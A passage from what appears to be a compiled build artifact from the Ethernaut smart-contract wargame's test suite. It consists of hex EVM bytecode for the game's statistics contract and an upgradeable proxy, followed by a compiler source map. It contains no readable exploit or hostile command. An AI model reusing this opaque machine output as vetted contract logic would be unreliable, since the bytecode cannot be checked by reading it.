20429055918152600690915290812054906108a2858784611b4e565b90508181866001600160a01b03167f18f89fb58208351d054bc0794e723a333ae0a74acd73825a9f31d89af0c6755160405160405180910390a450505b6001600160a01b038084165f908152600d6020908152604080832093881680845293825280832060038101805460018181018355918652848620429101819055600283015594845280547fffffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffff16600160a01b179055600a909152812090910180549161096983611d99565b909155505060048054905f61097d83611d99565b90915550506001600160a01b0383165f9081526008602052604081208054916109a583611d99565b91905055505050505050565b6001600160a01b0381165f908152600e6020526040812054829060ff16610a115760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b50506001600160a01b03165f9081526006602052604090205490565b6001600160a01b0381165f908152600f6020526040812054829060ff16610a8c5760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b50506001600160a01b03165f908152600a602052604090206001015490565b6001600160a01b0381165f908152600e6020526040812054829060ff16610b0b5760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b50506001600160a01b03165f9081526008602052604090205490565b6001600160a01b0381165f908152600e6020526040812054829060ff16610b875760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b50506001600160a01b03165f9081526009602052604090205490565b5f546201000090046001600160a01b03163314610c105760405162461bcd60e51b815260206004820152602560248201527f4f6e6c792045746865726e6175742063616e2063616c6c20746869732066756e60448201526431ba34b7b760d91b606482015260840161047f565b81610c32816001600160a01b03165f908152600f602052604090205460ff1690565b610c745760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b6001600160a01b0382165f908152600e602052604090205460ff16610d00576001805480820182557fb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf601805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0385169081179091555f908152600e60205260409020805460ff191690911790555b6001600160a01b038281165f908152600d60209081526040808320878516845290915290205416610d53576001600160a01b038083165f908152600b602090815260408083209387168352929052204290555b6040805160a0810182526001600160a01b0380871682525f60208084018290524284860152606084018290528683168252600d815284822092881682529190915291822060030154909160808301919003610dbb57604080515f815260208101909152610e2b565b6001600160a01b038085165f908152600d6020908152604080832093891683529281529082902060030180548351818402810184019094528084529091830182828015610e2557602002820191905f5260205f20905b815481526020019060010190808311610e11575b50505050505b90526001600160a01b038084165f908152600d60209081526040808320888516845282529182902084518154868401511515600160a01b027fffffffffffffffffffffff00000000000000000000000000000000000000000090911691909516179390931783559083015160018301556060830151600283015560808301518051610ebc9260038501920190611c33565b5050506001600160a01b0383165f908152600a60205260408120805491610ee283611d99565b909155505060038054905f610ef683611d99565b90915550506001600160a01b0382165f908152600760205260408120805491610f1e83611d99565b919050555050505050565b6001600160a01b0381165f908152600e6020526040812054829060ff16610f895760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b50506001600160a01b03165f9081526007602052604090205490565b6001600160a01b0382165f908152600e6020526040812054839060ff166110055760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b82611027816001600160a01b03165f908152600f602052604090205460ff1690565b6110695760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b6001600160a01b038086165f908152600c6020908152604080832093881683529290529081205490036110de5760405162461bcd60e51b815260206004820152601360248201527f4c6576656c206e6f7420636f6d706c6574656400000000000000000000000000604482015260640161047f565b6001600160a01b038086165f818152600b6020908152604080832094891680845294825280832054938352600c825280832094835293905291909120546105469190611db1565b6001600160a01b0381165f908152600f6020526040812054829060ff166111845760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b50506001600160a01b03165f908152600a602052604090205490565b600281815481106111af575f80fd5b5f918252602090912001546001600160a01b0316905081565b6001600160a01b0381165f908152600e6020526040812054829060ff166112285760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b600254611234846109b1565b61124690670de0b6b3a7640000611dca565b6112509190611de1565b9392505050565b5f54610100900460ff161580801561127557505f54600160ff909116105b8061128e5750303b15801561128e57505f5460ff166001145b6113005760405162461bcd60e51b815260206004820152602e60248201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160448201527f647920696e697469616c697a6564000000000000000000000000000000000000606482015260840161047f565b5f805460ff191660011790558015611321575f805461ff0019166101001790555b5f80547fffffffffffffffffffff0000000000000000000000000000000000000000ffff16620100006001600160a01b03851602179055801561139d575f805461ff0019169055604051600181527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b5050565b806113c3816001600160a01b03165f908152600f602052604090205460ff1690565b156114105760405162461bcd60e51b815260206004820152601460248201527f4c6576656c20616c726561647920657869737473000000000000000000000000604482015260640161047f565b5f546201000090046001600160a01b0316331461147d5760405162461bcd60e51b815260206004820152602560248201527f4f6e6c792045746865726e6175742063616e2063616c6c20746869732066756e60448201526431ba34b7b760d91b606482015260840161047f565b506001600160a01b03165f818152600f60205260408120805460ff191660019081179091556002805491820181559091527f405787fa12a823e0f2b7631cc41b3ba8828b3321ca811111fa75cd3aa3bb5ace01805473ffffffffffffffffffffffffffffffffffffffff19169091179055565b5f546201000090046001600160a01b0316331461155d5760405162461bcd60e51b815260206004820152602560248201527f4f6e6c792045746865726e6175742063616e2063616c6c20746869732066756e60448201526431ba34b7b760d91b606482015260840161047f565b8161157f816001600160a01b03165f908152600f602052604090205460ff1690565b6115c15760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b816115e3816001600160a01b03165f908152600e602052604090205460ff1690565b6116265760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b6001600160a01b038381165f908152600d602090815260408083208885168452909152902054166116a75760405162461bcd60e51b815260206004820152602560248201527f496e7374616e636520666f7220746865206c6576656c206973206e6f7420637260448201526419585d195960da1b606482015260840161047f565b6001600160a01b038381165f908152600d6020908152604080832088851684529091529020548116908616146117315760405162461bcd60e51b815260206004820152602960248201527f5375626d697474656420696e7374616e6365206973206e6f74207468652063726044820152686561746564206f6e6560b81b606482015260840161047f565b6001600160a01b038381165f908152600d6020908152604080832093881683529290522054600160a01b900460ff16156117ad5760405162461bcd60e51b815260206004820152601760248201527f4c6576656c20616c726561647920636f6d706c65746564000000000000000000604482015260640161047f565b6001600160a01b038084165f908152600d60209081526040808320938816808452938252808320600301805460018101825590845282842042910155928252600a905290812060020180549161180283611d99565b909155505060058054905f61181683611d99565b90915550506001600160a01b0383165f9081526009602052604081208054916109a583611d99565b6001600160a01b0383165f908152600e6020526040812054849060ff1661189e5760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b836118c0816001600160a01b03165f908152600f602052604090205460ff1690565b6119025760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b6001600160a01b038087165f908152600d60209081526040808320938916835292905220600301548411156119795760405162461bcd60e51b815260206004820152601060248201527f496e646578206f7574626f756e64656400000000000000000000000000000000604482015260640161047f565b6001600160a01b038087165f908152600d602090815260408083209389168352929052206003018054859081106119b2576119b2611e00565b905f5260205f200154925050509392505050565b6001600160a01b0381165f908152600f6020526040812054829060ff16611a255760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b50506001600160a01b03165f908152600a602052604090206002015490565b6001600160a01b0382165f908152600e6020526040812054839060ff16611aa45760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b82611ac6816001600160a01b03165f908152600f602052604090205460ff1690565b611b085760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b5050506001600160a01b039182165f908152600d60209081526040808320939094168252919091522054600160a01b900460ff1690565b600181815481106111af575f80fd5b6001600160a01b038084165f81815260106020908152604080832054600b835281842095881680855295835281842054948452600c83528184209584529490915281205490929183918291611ba291611db1565b6001600160a01b0388165f9081526010602052604081205491925003611be1576001600160a01b0387165f908152601060205260409020819055611c29565b8481611bee600183611db1565b611bf89086611dca565b611c029190611e14565b611c0c9190611de1565b6001600160a01b0388165f90815260106020526040902081905591505b5095945050505050565b828054828255905f5260205f20908101928215611c6c579160200282015b82811115611c6c578251825591602001919060010190611c51565b50611c78929150611c7c565b5090565b5b80821115611c78575f8155600101611c7d565b80356001600160a01b0381168114611ca6575f80fd5b919050565b5f8060408385031215611cbc575f80fd5b611cc583611c90565b9150611cd360208401611c90565b90509250929050565b5f805f60608486031215611cee575f80fd5b611cf784611c90565b9250611d0560208501611c90565b9150611d1360408501611c90565b90509250925092565b5f60208284031215611d2c575f80fd5b61125082611c90565b5f60208284031215611d45575f80fd5b5035919050565b5f805f60608486031215611d5e575f80fd5b611d6784611c90565b9250611d7560208501611c90565b9150604084013590509250925092565b634e487b7160e01b5f52601160045260245ffd5b5f60018201611daa57611daa611d85565b5060010190565b81810381811115611dc457611dc4611d85565b92915050565b8082028115828204841417611dc457611dc4611d85565b5f82611dfb57634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b80820180821115611dc457611dc4611d8556fea264697066735822122066af37f02a1e446ad91bfc4bf9b0dd5322bb220097108143b357e6128534eb5464736f6c63430008180033608060405234801562000010575f80fd5b5060405162000daa38038062000daa83398101604081905262000033916200042b565b6040516001600160a01b03821660248201528390839060440160408051601f198184030181529190526020810180516001600160e01b0390811663189acdbd60e31b17909152839082906200008f90839083905f90620000a916565b506200009d905082620000da565b505050505050620004e7565b620000b4836200014b565b5f82511180620000c15750805b15620000d557620000d383836200018c565b505b505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6200011b5f8051602062000d63833981519152546001600160a01b031690565b604080516001600160a01b03928316815291841660208301520160405180910390a16200014881620001bb565b50565b620001568162000258565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b905f90a250565b6060620001b4838360405180606001604052806027815260200162000d8360279139620002ef565b9392505050565b6001600160a01b038116620002265760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084015b60405180910390fd5b805f8051602062000d638339815191525b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b620002c75760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016200021d565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc62000237565b60606001600160a01b0384163b620003595760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016200021d565b5f80856001600160a01b03168560405162000375919062000496565b5f60405180830381855af49150503d805f8114620003af576040519150601f19603f3d011682016040523d82523d5f602084013e620003b4565b606091505b509092509050620003c7828286620003d1565b9695505050505050565b60608315620003e2575081620001b4565b825115620003f35782518084602001fd5b8160405162461bcd60e51b81526004016200021d9190620004b3565b80516001600160a01b038116811462000426575f80fd5b919050565b5f805f606084860312156200043e575f80fd5b62000449846200040f565b925062000459602085016200040f565b915062000469604085016200040f565b90509250925092565b5f5b838110156200048e57818101518382015260200162000474565b50505f910152565b5f8251620004a981846020870162000472565b9190910192915050565b602081525f8251806020840152620004d381604085016020870162000472565b601f01601f19169190910160400192915050565b61086e80620004f55f395ff3fe60806040526004361061005d575f3560e01c80635c60da1b116100425780635c60da1b146100a65780638f283970146100d6578063f851a440146100f55761006c565b80633659cfe6146100745780634f1ef286146100935761006c565b3661006c5761006a610109565b005b61006a610109565b34801561007f575f80fd5b5061006a61008e36600461070d565b610123565b61006a6100a1366004610726565b61015e565b3480156100b1575f80fd5b506100ba6101c4565b6040516001600160a01b03909116815260200160405180910390f35b3480156100e1575f80fd5b5061006a6100f036600461070d565b6101f4565b348015610100575f80fd5b506100ba610214565b610111610234565b61012161011c6102e4565b6102ed565b565b61012b61030b565b6001600160a01b03163303610156576101538160405180602001604052805f8152505f61033d565b50565b610153610109565b61016661030b565b6001600160a01b031633036101bc576101b78383838080601f0160208091040260200160405190810160405280939291908181526020018383808284375f920191909152506001925061033d915050565b505050565b6101b7610109565b5f6101cd61030b565b6001600160a01b031633036101e9576101e46102e4565b905090565b6101f1610109565b90565b6101fc61030b565b6001600160a01b031633036101565761015381610367565b5f61021d61030b565b6001600160a01b031633036101e9576101e461030b565b61023c61030b565b6001600160a01b031633036101215760405162461bcd60e51b815260206004820152604260248201527f5472616e73706172656e745570677261646561626c6550726f78793a2061646d60448201527f696e2063616e6e6f742066616c6c6261636b20746f2070726f7879207461726760648201527f6574000000000000000000000000000000000000000000000000000000000000608482015260a4015b60405180910390fd5b5f6101e46103bb565b365f80375f80365f845af43d5f803e808015610307573d5ff35b3d5ffd5b5f7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b546001600160a01b0316919050565b610346836103e2565b5f825111806103525750805b156101b7576103618383610421565b50505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f61039061030b565b604080516001600160a01b03928316815291841660208301520160405180910390a16101538161044d565b5f7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc61032e565b6103eb81610525565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b905f90a250565b60606104468383604051806060016040528060278152602001610812602791396105c9565b9392505050565b6001600160a01b0381166104c95760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084016102db565b807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b80547fffffffffffffffffffffffff0000000000000000000000000000000000000000166001600160a01b039290921691909117905550565b6001600160a01b0381163b6105a25760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201527f6f74206120636f6e74726163740000000000000000000000000000000000000060648201526084016102db565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6104ec565b60606001600160a01b0384163b6106485760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f60448201527f6e7472616374000000000000000000000000000000000000000000000000000060648201526084016102db565b5f80856001600160a01b03168560405161066291906107c4565b5f60405180830381855af49150503d805f811461069a576040519150601f19603f3d011682016040523d82523d5f602084013e61069f565b606091505b50915091506106af8282866106b9565b9695505050505050565b606083156106c8575081610446565b8251156106d85782518084602001fd5b8160405162461bcd60e51b81526004016102db91906107df565b80356001600160a01b0381168114610708575f80fd5b919050565b5f6020828403121561071d575f80fd5b610446826106f2565b5f805f60408486031215610738575f80fd5b610741846106f2565b9250602084013567ffffffffffffffff8082111561075d575f80fd5b818601915086601f830112610770575f80fd5b81358181111561077e575f80fd5b87602082850101111561078f575f80fd5b6020830194508093505050509250925092565b5f5b838110156107bc5781810151838201526020016107a4565b50505f910152565b5f82516107d58184602087016107a2565b9190910192915050565b602081525f82518060208401526107fd8160408501602087016107a2565b601f01601f1916919091016040019291505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a26469706673582212203e1cf275377e8bb61cf9b931569a705adcb93eec1d89a2b1d063e39d5340117464736f6c63430008180033b53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a2646970667358221220c829f29fda69263f63352da262c9099b656355a242844076b8aecc6ad8d19fea64736f6c63430008180033","sourceMap":"385:1603:131:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;707:583;;;:::i;:::-;;1324:346:154;;;;;;:::i;:::-;;:::i;:::-;;;-1:-1:-1;;;;;865:55:155;;;847:74;;835:2;820:18;1324:346:154;;;;;;;;2452:134:5;;;:::i;:::-;;;;;;;:::i;2362:480:154:-;;;;;;:::i;:::-;;:::i;3360:151:5:-;;;:::i;:::-;;;;;;;:::i;3221:133::-;;;:::i;2922:141::-;;;:::i;2738:178::-;;;:::i;:::-;;;;;;;:::i;740:370:154:-;;;;;;:::i;:::-;;:::i;1734:252:131:-;;;:::i;2592:140:5:-;;;:::i;:::-;;;;;;;:::i;2031:325:154:-;;;;;;:::i;:::-;;:::i;3069:146:5:-;;;:::i;1676:349:154:-;;;;;;:::i;:::-;;:::i;:::-;;;9909:14:155;;9902:22;9884:41;;9872:2;9857:18;1676:349:154;9744:187:155;2157:141:5;;;:::i;1542:137:131:-;;;:::i;460:228:154:-;590:8;;;633:26;;;;;;;18998:19:155;;;633:26:154;;;;;;;;;19033:12:155;;;633:26:154;;;623:37;;;;;612:48;;;460:228;;1243:204:1;;;:::i;2304:142:5:-;;;:::i;1177:141:154:-;;;;;;:::i;:::-;;:::i;1016:26:12:-;;;;;;;;;707:583:131;741:30;774:14;786:1;774:11;:14::i;:::-;741:47;;807:5;813:1;807:8;;;;;;;;:::i;:::-;;;;;;;;;;;799:5;:16;;-1:-1:-1;;799:16:131;-1:-1:-1;;;;;799:16:131;;;;;;;;825:24;;;-1:-1:-1;;;825:24:131;;;;;10592:74:155;;;;10682:18;;;10675:30;10741:1;10721:18;;;10714:29;10779:7;10759:18;;;10752:35;825:8:131;;;;10804:19:155;;825:24:131;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;869:5;875:1;869:8;;;;;;;;:::i;:::-;;;;;;;;;;;860:6;:17;;-1:-1:-1;;860:17:131;-1:-1:-1;;;;;860:17:131;;;;;;;;887:26;;;-1:-1:-1;;;887:26:131;;;;;11054:74:155;;;;11144:18;;;11137:30;11203:1;11183:18;;;11176:29;11241:8;11221:18;;;11214:36;887:8:131;;;;11267:19:155;;887:26:131;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;938:5:131;;924:20;;-1:-1:-1;;;924:20:131;;-1:-1:-1;;;;;938:5:131;;;924:20;;;847:74:155;924:13:131;;-1:-1:-1;924:13:131;;-1:-1:-1;820:18:155;;924:20:131;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;993:5:131;;966:33;;-1:-1:-1;;;;;;993:5:131;;-1:-1:-1;966:26:131;:33::i;:::-;954:9;:45;;-1:-1:-1;;954:45:131;-1:-1:-1;;;;;954:45:131;;;;;;;;;;1032:18;;-1:-1:-1;;1032:18:131;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;1060:9:131;;:48;;;;;-1:-1:-1;;;;;865:55:155;;;1060:48:131;;;847:74:155;1009:41:131;;-1:-1:-1;1060:9:131;;;:23;;820:18:155;;1060:48:131;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;317:28:0;309:37;;-1:-1:-1;;;;;1118:12:131;;:14;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;1157:6:131;;1143:21;;-1:-1:-1;;;1143:21:131;;-1:-1:-1;;;;;1157:6:131;;;1143:21;;;847:74:155;1143:13:131;;-1:-1:-1;1143:13:131;;-1:-1:-1;820:18:155;;1143:21:131;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;1219:9:131;;1199:58;;-1:-1:-1;;;;;;1219:9:131;;-1:-1:-1;1244:7:131;1219:9;1199:19;:58::i;:::-;1174:8;;:85;;;;;-1:-1:-1;;;;;1174:85:131;;;;;-1:-1:-1;;;;;1174:85:131;;;;;;317:28:0;309:37;;-1:-1:-1;;;;;1269:12:131;;:14;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;731:559;;707:583::o;1324:346:154:-;1418:16;317:28:0;309:37;;-1:-1:-1;;;;;1446:13:154;;:15;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;1471:50:154;;;;;-1:-1:-1;;;;;865:55:155;;;1471:50:154;;;847:74:155;1471:29:154;;;-1:-1:-1;1471:29:154;;-1:-1:-1;1508:5:154;;820:18:155;;1471:50:154;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1531:23;317:28:0;309:37;;-1:-1:-1;;;;;1557:18:154;;:20;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;1557:20:154;;;;;;;;;;;;:::i;:::-;1531:46;;1623:7;1648:1;1631:7;:14;:18;;;;:::i;:::-;1623:27;;;;;;;;:::i;:::-;;;;;;;:34;;;1658:1;1623:37;;;;;;;;:::i;:::-;;;;;;;1615:46;;1588:75;;1436:234;1324:346;;;;;:::o;2452:134:5:-;2499:33;2563:16;2544:35;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;2544:35:5;;;;;;;;;;;;;;;;;;;;;;;2452:134;:::o;2362:480:154:-;2429:12;2453:18;317:28:0;309:37;;-1:-1:-1;;;;;2474:14:154;;:16;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;2474:16:154;;;;;;;;;;;;:::i;:::-;2453:37;;2500:18;2547:4;2586:12;2609;2560:71;;;;;;;;;:::i;:::-;;;;-1:-1:-1;;2560:71:154;;;;;;;;;;2533:100;;;2560:71;2533:100;;:::i;:::-;;;;-1:-1:-1;;2533:100:154;;;;;;;;;;2664:17;;;2533:100;-1:-1:-1;2643:18:154;;2664:11;;;;:17;;2533:100;;2664:17;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;2664:17:154;;;;;;;;;;;;:::i;:::-;2643:38;;2691:17;2711:34;;;;;;;;;;;;;;;;;;:4;:14;;:34;;;;:::i;:::-;2691:54;;2820:4;2814:11;2807:4;2801;2797:15;2794:1;2787:39;2779:47;2362:480;-1:-1:-1;;;;;;2362:480:154:o;3360:151:5:-;3409:42;3485:19;3463:41;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;3463:41:5;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3360:151;:::o;3221:133::-;3267:33;3331:16;3312:35;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;3312:35:5;;;;;;;;;;;;;;;;;;;;;;3221:133;:::o;2922:141::-;2970:35;3038:18;3017:39;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;3017:39:5;;;;;;;;;;;;;;;;;;;;;;2922:141;:::o;2738:178::-;2794:48;2883:26;2854:55;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;2854:55:5;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;740:370:154;794:24;830:30;885:7;863:30;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;863:30:154;;830:63;;908:9;903:178;927:7;923:1;:11;903:178;;;955:20;978:4;-1:-1:-1;;;;;978:23:154;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;1017:24;;;;;-1:-1:-1;;;;;18347:55:155;;1017:24:154;;;18329:74:155;1031:9:154;18419:18:155;;;18412:34;955:48:154;;-1:-1:-1;1017:7:154;;;;18302:18:155;;1017:24:154;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1066:4;1055:5;1061:1;1055:8;;;;;;;;:::i;:::-;-1:-1:-1;;;;;1055:15:154;;;:8;;;;;;;;;;;:15;-1:-1:-1;936:3:154;;903:178;;;-1:-1:-1;1098:5:154;740:370;-1:-1:-1;;740:370:154:o;1734:252:131:-;1786:6;;1772:21;;-1:-1:-1;;;1772:21:131;;-1:-1:-1;;;;;1786:6:131;;;1772:21;;;847:74:155;1772:13:131;;;;820:18:155;;1772:21:131;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1804:20;1850:1;1827:27;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;1896:8:131;;1864:43;;;;;-1:-1:-1;;;;;1896:8:131;;;1864:43;;;847:74:155;1804:50:131;;-1:-1:-1;1864:15:131;;;;;820:18:155;;1864:43:131;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;1949:9:131;;1968:8;;1918:61;;-1:-1:-1;1929:49:131;;-1:-1:-1;;;;;;1949:9:131;;;;1968:8;1929:19;:49::i;:::-;1918:10;:61::i;:::-;1762:224;1734:252::o;2592:140:5:-;2640:34;2707:18;2686:39;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2031:325:154;2098:9;2119:19;2141:15;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;2119:37;;2166:16;2227;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;2246:5;2261:9;2204:68;;;;;:::i;:::-;-1:-1:-1;;;;;18738:15:155;;;18720:34;;18790:15;;;18785:2;18770:18;;18763:43;18842:15;;;18837:2;18822:18;;18815:43;18647:2;18632:18;2204:68:154;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;2284:39:154;;;;;-1:-1:-1;;;;;865:55:155;;;2284:39:154;;;847:74:155;2166:108:154;;-1:-1:-1;2284:23:154;;;;;;820:18:155;;2284:39:154;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;2340:9:154;;2031:325;-1:-1:-1;;;;;;2031:325:154:o;3069:146:5:-;3117:40;3190:18;3169:39;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;3169:39:5;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1676:349:154;1760:4;317:28:0;309:37;;-1:-1:-1;;;;;1776:13:154;;:15;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;1801:48:154;;;;;-1:-1:-1;;;;;865:55:155;;;1801:48:154;;;847:74:155;1801:29:154;;;-1:-1:-1;1801:29:154;;-1:-1:-1;820:18:155;;1801:48:154;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1859:23;317:28:0;309:37;;-1:-1:-1;;;;;1885:18:154;;:20;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;1885:20:154;;;;;;;;;;;;:::i;:::-;1859:46;;1937:1;1920:7;:14;:18;1916:103;;;1961:4;1954:11;;;;;1916:103;2003:5;1996:12;;;1676:349;;;;;:::o;2157:141:5:-;2206:34;2273:18;2252:39;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1542:137:131;1593:6;;1579:21;;-1:-1:-1;;;1579:21:131;;-1:-1:-1;;;;;1593:6:131;;;1579:21;;;847:74:155;1579:13:131;;;;820:18:155;;1579:21:131;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;1642:9:131;;1661:8;;1610:62;;-1:-1:-1;1622:49:131;;-1:-1:-1;;;;;;1642:9:1